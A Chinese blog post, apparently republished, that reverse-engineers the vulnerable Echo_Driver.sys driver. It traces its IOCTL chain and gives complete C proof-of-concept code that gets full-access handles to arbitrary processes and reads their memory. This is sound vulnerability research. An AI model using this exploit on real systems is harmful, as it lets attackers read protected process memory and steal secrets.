文章总结: 文档详细分析了Echo_Driver.sys驱动中存在的任意内存读取漏洞。作者通过IDAPro逆向分析定位到驱动调用MmCopyVirtualMemory函数时存在源地址可控问题,并追踪IRP派遣函数与IOCTL控制码。文中揭示了利用链需先通过特定IOCTL设置PID并获取进程句柄,最终构造请求触发任意读取。文章提供了完整的POC代码与详细演示,验证了漏洞利用的可行性,具有较高的实战参考价值。 综合评分: 94 文章分类: 漏洞分析,逆向分析,二进制安全,漏洞POC,实战经验
Echo_Driver任意读驱动
原创
kernel kernel
Relay学安全
2026年2月24日 11:50 陕西
Echo_Driver.sys驱动下载地址:
https://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/
下载下来是一个.bin文件,只需要将其后缀更改为.sys文件即可。
首先将其文件加载到IDA PRO中,来到导入表中查找MmCopyVirtualMemory函数。
MmCopyVirtualMemory函数用于在任意两个进程的虚拟地址空间之间直接复制内存数据,有点类似于: ReadProcessMemory函数和WriteProcessMemory。
MmCopyVirtualMemory函数原型如下:
NTSTATUS NTAPI MmCopyVirtualMemory( PEPROCESS SourceProcess, // 源进程的 EPROCESS 结构指针 PVOID SourceAddress, // 源进程中的虚拟地址 PEPROCESS TargetProcess, // 目标进程的 EPROCESS 结构指针 PVOID TargetAddress, // 目标进程中的虚拟地址 SIZE_T BufferSize, // 要复制的字节数 KPROCESSOR_MODE PreviousMode, // 访问模式 (KernelMode 或 UserMode) PSIZE_T ReturnSize // 指向实际复制字节数的指针);
按下 “x” 键查看其该函数在哪里被调用。在sub_140001B80函数中对MmCopyVirtualMemory发起了调用,且源进程中的虚拟地址是我们可控的,这里的源进程中的虚拟地址,我们理解为你要读取的是那个地址即可。而目标进程中的虚拟地址是我们要存放读取的结果的缓冲区。
现在让我们来看一下sub_140001B80函数在哪里被调用。首先我们得知是当IRP类型为IRP_MJ_DEVICE_CONTROL时则会来到sub_140001830派遣函数。
现在再来看一下sub_140001000在哪里被调用了,是在sub_140001000被调用。
现在我们得到了设备链接为: \\DosDevices\\EchoDrv。这意味着我们可以通过\\\\.\\EchoDrv设备链接来和驱动设备句柄进行交互。并且我们得知IRP_MJ_DEVICE_CONTROL类型所对应的派遣函数为: sub_140001830。
所以我们还是来到sub_140001830派遣函数中。首先会获取到IOCTL控制码,
在Switch case这里,当IOCTL控制码为0x60A26124时,它将调用到sub_140001B80函数,也就是我们存在任意读漏洞的函数。
但在这之前,我们发现要进入到0x60A26124分支,首先要确保Pid的值不能为空。那么Pid从何而来?
Pid的值其实是调用sub_1400012BC函数来赋值的,所以我们首先要进入到0x9E6A0594分支,也就是说首先要发送一个I/O设备请求,且控制码为:0x9E6A0594,这样的话就可以进入到sub_1400012BC函数中为其Pid变量赋值。
sub_1400012BC函数接收的第一个参数则是SystemBuffer缓冲区,在该函数中对其Pid进行了赋值操作,首先调用IoGetCurrentProcess函数获取到EPROCESS结构,下一步则是通过PsGetProcessId来提取进程的PID。
所以我们POC这么去编写:
//首先以读写的方式来打开目标驱动程序的句柄 HANDLE hDevice = CreateFileA("\\\\.\\EchoDrv",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL); //判断是否是有效句柄 if (hDevice == INVALID_HANDLE_VALUE) { printf("error Handle"); return -1; } //分配一块内存 buffer指针指向这块内存 void* buffer = (void*)malloc(4096);
//发送0x9E6A0594 IOCTL控制码到驱动设备 用于填充驱动层的PID全局变量 如果不填充则无法进入下一个IOCTL BOOL success = DeviceIoControl(hDevice, 0x9E6A0594, NULL, NULL, buffer, 4096, NULL, NULL); if (!success) { printf("error IOCTL:0x9E6A0594"); return -1; } //释放内存 free(buffer);
这样就可以填充Pid变量了。
那么接下来继续看,现在Pid中已经有值了,所以接下来在控制码0xE6224248分支中,首先调用PsLookupProcessByProcessId函数来根据传递进来的Pid(这里的Pid指的是SystemBuffer 是我们用户端传递的 不是之前获取的Pid),根据我们传递进去的Pid值来获取到EPROCESS结构,然后调用ObOpenObjectByPointer函数根据EPROCESS来获取到进程的句柄。最后将句柄返回到Systembuffer偏移8个字节的位置。
这意味着我们需要传递进去一个进程的PID,然后他会返回给我们一个该进程的句柄。
这里我们来测试一下,如下POC。
//首先以读写的方式来打开目标驱动程序的句柄HANDLE hDevice = CreateFileA("\\\\.\\EchoDrv",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);//判断是否是有效句柄if (hDevice == INVALID_HANDLE_VALUE) { printf("error Handle"); return -1;}//分配一块内存 buffer指针指向这块内存void* buffer = (void*)malloc(4096);
//发送0x9E6A0594 IOCTL控制码到驱动设备 用于填充驱动层的PID全局变量 如果不填充则无法进入下一个IOCTLBOOL success = DeviceIoControl(hDevice, 0x9E6A0594, NULL, NULL, buffer, 4096, NULL, NULL);if (!success) { printf("error IOCTL:0x9E6A0594"); return -1;}//释放内存free(buffer);
HandleStruct handle = { 0 };handle.pid = 724; //设置进程的PIDhandle.access = GENERIC_ALL; //设置访问权限
//发送I/O设备请求BOOL success1 = DeviceIoControl(hDevice, 0xe6224248,&handle,sizeof(handle),&handle,sizeof(handle),NULL,NULL);if (!success1) { printf("error IOCTL:0xe6224248"); return -1;}//返回进程的句柄printf("Process Handle:%d\n",handle.handle);
比如说这里我们要获取到724这个进程的句柄,并打印它,成功获取其句柄。
现在我们已经拿到了指定进程的句柄,现在我们来看一下分支0x60A26124u这里的操作。
在该分支中,首先调用ObReferenceObjectByHandle函数将用户模式传递过来的句柄提升为内核模式直接使用的对象指针。
所以这里我们第一步肯定是需要传递进去一个进程句柄,而该进程句柄其实就是在之前0xE6224248分支中获取到的。它最终给我们返回到了SystemBuffer+8的位置。
下一步则是调用sub_140001B80函数来进行复制操作,也就是之前所说的任意读。
我们看该结构如何构建:
typedef struct { HANDLE ProcessHandle; //进程句柄 void* FromAddress; //要读取的目标内存地址 void* toAddress; //返回的内存 size_t length; //你要读取多少个字节 void* padding; uint32_t returnCode;}ReadAddress;
所以第一个结构成员ProcessHandle是在0xE6224248分支中获取到的句柄。而FromAddress则是你要读取该进程的内存地址。最终返回到toAddress中,Length则是你要读取多少个字节。
完整代码如下:
#include <windows.h>#include <stdio.h>#include <stdint.h>
typedef struct { DWORD pid; ACCESS_MASK access; HANDLE handle;}HandleStruct;
typedef struct { HANDLE ProcessHandle; //进程句柄 void* FromAddress; //要读取的目标内存地址 void* toAddress; //返回的内存 size_t length; void* padding; uint32_t returnCode;}ReadAddress;
int main(){ SetConsoleOutputCP(CP_UTF8); // 设置控制台输出编码为 UTF-8
//首先以读写的方式来打开目标驱动程序的句柄 HANDLE hDevice = CreateFileA("\\\\.\\EchoDrv",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL); //判断是否是有效句柄 if (hDevice == INVALID_HANDLE_VALUE) { printf("error Handle"); return -1; } //分配一块内存 buffer指针指向这块内存 void* buffer = (void*)malloc(4096);
//发送0x9E6A0594 IOCTL控制码到驱动设备 用于填充驱动层的PID全局变量 如果不填充则无法进入下一个IOCTL BOOL success = DeviceIoControl(hDevice, 0x9E6A0594, NULL, NULL, buffer, 4096, NULL, NULL); if (!success) { printf("error IOCTL:0x9E6A0594"); return -1; } //释放内存 free(buffer);
//获取当前进程的PID DWORD Pid = GetCurrentProcessId();
HandleStruct handle = { 0 }; handle.pid = 724; //设置进程的PID handle.access = GENERIC_ALL; //设置访问权限
//发送I/O设备请求 BOOL success1 = DeviceIoControl(hDevice, 0xe6224248,&handle,sizeof(handle),&handle,sizeof(handle),NULL,NULL); if (!success1) { printf("error IOCTL:0xe6224248"); return -1; } //返回进程的句柄 printf("Process Handle:%d\n",handle.handle);
uint64_t Buffer = 0; // 用于存放读取结果的缓冲区
ReadAddress readAddress = { 0 }; readAddress.ProcessHandle = handle.handle; // 进程句柄 readAddress.FromAddress = (void*)0x7ffe74de6000; // 要读取的内存地址 readAddress.length = sizeof(Buffer); // 读取8个字节 readAddress.toAddress = &Buffer; // 存放结果的缓冲区地址
// 注意:最好使用分开的输入输出缓冲区 ReadAddress outputAddress = { 0 };
BOOL success2 = DeviceIoControl(hDevice, 0x60a26124, &readAddress, sizeof(ReadAddress), // 输入:读取参数 &outputAddress, sizeof(ReadAddress), // 输出:接收操作结果 NULL, NULL);
if (!success2) { printf("错误:IOCTL 0x60a26124 失败,错误码: %d\n", GetLastError()); CloseHandle(hDevice); return -1; }
// 打印正确的地址 printf("从地址 0x%p 读取的值: 0x%016llx\n", readAddress.FromAddress, Buffer);
// 如果有返回码,也可以打印 printf("操作返回码: %u\n", outputAddress.returnCode);}
例如如上代码我们将读取进程PID为724中的0x7ffe74de6000地址。
其余大家自行发挥。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Relay学安全 kernel kernel《Echo_Driver任意读驱动》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论